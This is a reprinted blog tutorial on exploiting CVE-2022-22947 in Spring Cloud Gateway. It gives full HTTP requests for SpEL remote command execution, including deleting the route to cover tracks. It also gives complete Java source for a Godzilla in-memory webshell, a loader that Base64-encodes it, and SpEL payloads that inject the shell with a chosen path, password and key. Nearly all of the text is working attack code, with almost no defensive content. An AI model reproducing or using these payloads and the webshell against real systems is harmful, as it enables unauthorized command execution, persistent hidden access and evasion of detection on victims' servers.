Spring Cloud Gateway memory horse injection

Vulnerability Introduction

Spring Cloud Gateway is an API gateway based on Spring Framework and Spring Boot. It aims to provide a simple, effective and unified API routing management method for microservice architecture. The following versions of Spring Cloud Gateway have SPEL expression injection vulnerability CVE-2022 -22947, can lead to unauthorized remote command execution vulnerability

  • Vulnerability Information: CVE-2022-22947
  • Exploit version:

    • Spring Cloud Gateway 3.1.x < 3.1.1
    • Spring Cloud Gateway 3.0.x < 3.0.7
    • Other versions of Spring Cloud Gateway that are no longer updated

exploit

Vulnerability to reproduce

  • Send malicious requests, create routes and write SpEL expressions

    • The id field specifies the new route name, which must be unique
    • The filters field specifies several filters for this route, and filters are used to modify requests and responses

      • The name field specifies the filter to be added. An AddResponseHeader filter is added here to add a response header before the gateway returns the response to the client.
      • args.name field specifies the response headers to add
      • args.value field specifies the value of the response header. The value here is the SPEL expression to execute to execute the whoami command. Note that you need to remove the newline at the end of the command output, otherwise the filter will throw an exception saying “the value of the response header cannot end with r or n”
      • The uri field specifies to forward client requests to http://example.com
 POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 329 { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com" } 

CVE-2022-22947-1

  • Refresh the route, which will trigger and execute the SpEL expression.

    • It should be noted that a blank line is required in the request body, otherwise it will keep waiting after sending, the same below
 POST /actuator/gateway/refresh HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 

CVE-2022-22947-2

  • View execution results
 GET /actuator/gateway/routes/hacktest HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 

CVE-2022-22947-3

  • Finally, you can delete the added route for trace cleaning
 DELETE /actuator/gateway/routes/hacktest HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close 

CVE-2022-22947-4

  • Finally refresh the route
 POST /actuator/gateway/refresh HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 

CVE-2022-22947-5

Bugfix

CVE-2022-22947-6

godzilla memory horse

surroundings

  • Create a Maven project and introduce dependencies
 <dependencies> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-gateway</artifactId> <version>3.0.6</version> </dependency> </dependencies>

structure

The GMemShell.java Godzilla memory horse is used here, and the specific analysis article refers to: CVE-2022-22947 Injecting the Godzilla memory horse

  • Construct a memory horse, set the variables pass and key , and the path parameter passed in by the doInject method is the path of the Trojan horse

    • The key here is the first 16 bits of the MD5 value of the plaintext testpwd , echo -n "testpwd" | md5 | cut -c 1-16
 import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.reactive.result.method.RequestMappingInfo; import org.springframework.web.server.ServerWebExchange; import reactor.core.publisher.Mono; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.util.HashMap; import java.util.Map; public class GMemShell { public static Map<String, Object> store = new HashMap<>(); public static String pass = "test", md5, key = "342df5b036b2f281"; public static String doInject(Object obj, String path) { String msg; try { md5 = md5(pass + key); Method registerHandlerMethod = obj.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class); registerHandlerMethod.setAccessible(true); Method executeCommand = GMemShell.class.getDeclaredMethod("cmd", ServerWebExchange.class); RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(path).build(); registerHandlerMethod.invoke(obj, new GMemShell(), executeCommand, requestMappingInfo); msg = "ok"; } catch (Exception e) { e.printStackTrace(); msg = "error"; } return msg; } private static Class defineClass(byte[] classbytes) throws Exception { URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); return (Class) method.invoke(urlClassLoader, classbytes, 0, classbytes.length); } public byte[] x(byte[] s, boolean m) { try { javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(s); } catch (Exception e) { return null; } } public static String md5(String s) { String ret = null; try { java.security.MessageDigest m; m = java.security.MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); } catch (Exception e) { } return ret; } public static String base64Encode(byte[] bs) throws Exception { Class base64; String value = null; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } public static byte[] base64Decode(String bs) throws Exception { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } @PostMapping("/cmd") public synchronized ResponseEntity cmd( ServerWebExchange pdata) { try { Object bufferStream = pdata.getFormData().flatMap(c -> { StringBuilder result = new StringBuilder(); try { String id = c.getFirst(pass); byte[] data = x(base64Decode(id), false); if (store.get("payload") == null) { store.put("payload", defineClass(data)); } else { store.put("parameters", data); java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = ((Class) store.get("payload")).newInstance(); f.equals(arrOut); f.equals(data); result.append(md5.substring(0, 16)); f.toString(); result.append(base64Encode(x(arrOut.toByteArray(), true))); result.append(md5.substring(16)); } } catch (Exception ex) { result.append(ex.getMessage()); } return Mono.just(result.toString()); }); return new ResponseEntity(bufferStream, HttpStatus.OK); } catch (Exception ex) { return new ResponseEntity(ex.getMessage(), HttpStatus.OK); } } }
  • Finally, use Maven to compile and get GMemShell.class
 $ mvn compile

CVE-2022-22947-7

  • Write a loader, load the Class file and convert to Base64 encoding
 import java.io.ByteArrayOutputStream; import java.io.FileInputStream; import java.util.Base64; public class LoaderClass { public static byte[] load(String path) { FileInputStream fis = null; ByteArrayOutputStream baos = null; try { fis = new FileInputStream(path); baos = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int len = -1; while ((len = fis.read(buffer)) != -1) { baos.write(buffer, 0, len); baos.flush(); } return baos.toByteArray(); } catch (Exception e) { e.printStackTrace(); } finally { if (fis != null) { try { fis.close(); } catch (Exception e) { e.printStackTrace(); } } if (baos != null) { try { baos.close(); } catch (Exception e) { e.printStackTrace(); } } } return null; } public static void main(String[] args) { byte[] code = LoaderClass.load("target/classes/GMemShell.class"); String temp = Base64.getEncoder().encodeToString(code); System.out.println(temp); } } 

CVE-2022-22947-8

injection

Here, the highly available payload optimized by the c0ny1 master to the default payload is used.

Here you need to pass the previously encoded Base64 string and access route to this SpEL expression, such as /gmem

 #{T(org.springframework.cglib.core.ReflectUtils).defineClass('GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('<Base64字符串>'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping, '</路由>')}
  • Create route
 POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 10770 { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('<Base64字符串>'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping, '/gmem')}" } }], "uri": "http://example.com" }

CVE-2022-22947-9

  • refresh route
 POST /actuator/gateway/refresh HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 

CVE-2022-22947-10

  • Use a browser to access and find that the route has been entered

CVE-2022-22947-11

  • Connect with Godzilla

    • The URL is the path injected in the Payload
    • The password is the pass set earlier, and the key is the plaintext of the key

CVE-2022-22947-12

inject 2

The magic change adds custom pass and key functions, so that you only need to compile the Class once and generate the corresponding Base64 encoding. You only need to pass in different parameters each time you use it, instead of compiling every time.

Because in the previous file GMemShell.java , pass/key is a global static variable, so you cannot pass parameters directly to the doInject method like the path variable, so the initial idea was to start with the SpEL expression

 #{T(org.springframework.cglib.core.ReflectUtils).defineClass('GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('<Base64字符串>'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping, '/路由')}

As you can see from the class org.springframework.cglib.core.ReflectUtils , the above expression passes in 3 parameters to the defineClass method in this class: className class name, byte[] byte array, loader class loader , no available points were found

CVE-2022-22947-13

Later, I thought that you can define the global variables pass and key first, and then pass the password passKey and key keyStr parameters to the doInject method and overwrite it (the previous thought was complicated). In addition keyStr needs to perform MD5 encryption and intercept the first 16 bits. Here, the encryption part can directly call the DigestUtils class in Spring, so this class needs to be introduced. Reference: Java MD5 algorithm implementation

 import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.util.DigestUtils; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.reactive.result.method.RequestMappingInfo; import org.springframework.web.server.ServerWebExchange; import reactor.core.publisher.Mono; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.util.HashMap; import java.util.Map; public class GMemShell { public static Map<String, Object> store = new HashMap<>(); public static String pass, md5, key; public static String doInject(Object obj, String path, String passStr, String keyStr) { String msg; pass = passStr; key = DigestUtils.md5DigestAsHex(keyStr.getBytes()).substring(0, 16); try { md5 = md5(pass + key); Method registerHandlerMethod = obj.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class); registerHandlerMethod.setAccessible(true); Method executeCommand = GMemShell.class.getDeclaredMethod("cmd", ServerWebExchange.class); RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(path).build(); registerHandlerMethod.invoke(obj, new GMemShell(), executeCommand, requestMappingInfo); msg = "ok"; } catch (Exception e) { e.printStackTrace(); msg = "error"; } return msg; } // ... }
  • Similarly, the SpEl expression also needs to be slightly modified, adding the receiving password and key parameters
 #{T(org.springframework.cglib.core.ReflectUtils).defineClass('GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('<Base64字符串>'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping, '</路由>','<密码>','<密钥>')}

CVE-2022-22947-14

CVE-2022-22947-15

Reference article

This article is reprinted from https://www.naraku.cn/posts/123.html
This site is for inclusion only, and the copyright belongs to the original author.

Leave a Comment